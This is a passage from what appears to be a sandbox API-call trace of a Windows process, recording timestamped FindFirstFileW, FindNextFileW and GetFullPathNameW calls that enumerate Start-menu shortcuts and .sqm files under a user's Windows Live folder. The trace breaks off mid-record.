ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - SystemAbout.lnk", cAlternateFileName="06-SYS~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="07-EVE~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e36a870, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e36a870, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21145b33, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x21145b33, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62a, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - PowerAndSleep.lnk", cAlternateFileName="08-POW~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61d8dd66, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="09-MOB~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2111f8cb, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x2111f8cb, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62a, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - AppsAndFeatures.lnk", cAlternateFileName="10-APP~1.LNK")) returned 1 [0179.998] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e344624, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x3e344624, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="10-PRO~1.LNK")) returned 1 [0179.999] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3495bb0d, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3495bb0d, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0179.999] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.999] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0180.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0180.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0180.000] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x34 [0180.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0180.000] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x34 [0180.000] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0180.011] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.011] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0180.011] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 0 [0180.011] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0180.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0180.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0180.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0180.012] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x34 [0180.012] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f490 [0180.012] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.012] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0180.012] FindNextFileW (in: hFindFile=0x135f490, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.012] FindClose (in: hFindFile=0x135f490 | out: hFindFile=0x135f490) returned 1 [0180.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0180.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0180.012] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x39 [0180.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0180.012] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x39 [0180.013] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0180.015] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.015] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe902d843, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xe902d843, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe902d843, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x594, dwReserved0=0x0, dwReserved1=0x0, cFileName="_00.sqm", cAlternateFileName="")) returned 1 [0180.015] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe98134fe, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xe98134fe, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe98134fe, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="_01.sqm", cAlternateFileName="")) returned 1 [0180.015] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4b8cc706, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4b8cc706, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0x4b8cc706, ftLastWriteTime.dwHighDateTime=0x1d32747, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_02.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bc5ffac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4bc5ffac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0x4bc5ffac, ftLastWriteTime.dwHighDateTime=0x1d32747, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="_03.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79179b2, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x79179b2, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x79179b2, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_04.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c128cb, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7c128cb, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x7c128cb, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="_05.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59bd19cf, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x59bd19cf, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x59bd19cf, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_06.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a1eda14, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x5a1eda14, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5a1eda14, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="_07.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1127b2b7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x1127b2b7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1127b2b7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="_08.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13b9f377, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x13b9f377, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x13b9f377, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_09.sqm", cAlternateFileName="")) returned 1 [0180.016] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0180.016] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0180.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0180.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0180.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0180.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x39 [0180.017] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0180.018] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x887ccec4, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x887ccec4, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.018] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe902d843, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xe902d843, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe902d843, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x594, dwReserved0=0x0, dwReserved1=0x0, cFileName="_00.sqm", cAlternateFileName="")) returned 1 [0180.019] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe98134fe, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0xe98134fe, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xe98134fe, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="_01.sqm", cAlternateFileName="")) returned 1 [0180.019] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4b8cc706, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4b8cc706, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0x4b8cc706, ftLastWriteTime.dwHighDateTime=0x1d32747, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_02.sqm", cAlternateFileName="")) returned 1 [0180.019] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bc5ffac, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4bc5ffac, ftLastAccessTime.dwHighDateTime=0x1d32747, ftLastWriteTime.dwLowDateTime=0x4bc5ffac, ftLastWriteTime.dwHighDateTime=0x1d32747, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="_03.sqm", cAlternateFileName="")) returned 1 [0180.019] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79179b2, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x79179b2, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x79179b2, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="_04.sqm", cAlternateFileName="")) returned 1 [0180.020] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c128cb, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x7c128cb, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x7c128cb, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="_05.sqm", cAlternateFileName="")) returned 1 [0180.020] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x59bd19cf, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x59bd19cf, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x59bd19cf, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_06.sqm", cAlternateFileName="")) returned 1 [0180.020] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a1eda14, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x5a1eda14, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5a1eda14, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="_07.sqm", cAlternateFileName="")) returned 1 [0180.020] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1127b2b7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x1127b2b7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x1127b2b7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="_08.sqm", cAlternateFileName="")) returned 1 [0180.020] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13b9f377, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x13b9f377, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x13b9f377, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="_09.sqm", cAlternateFileName="")) returned 1 [0180.021] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, 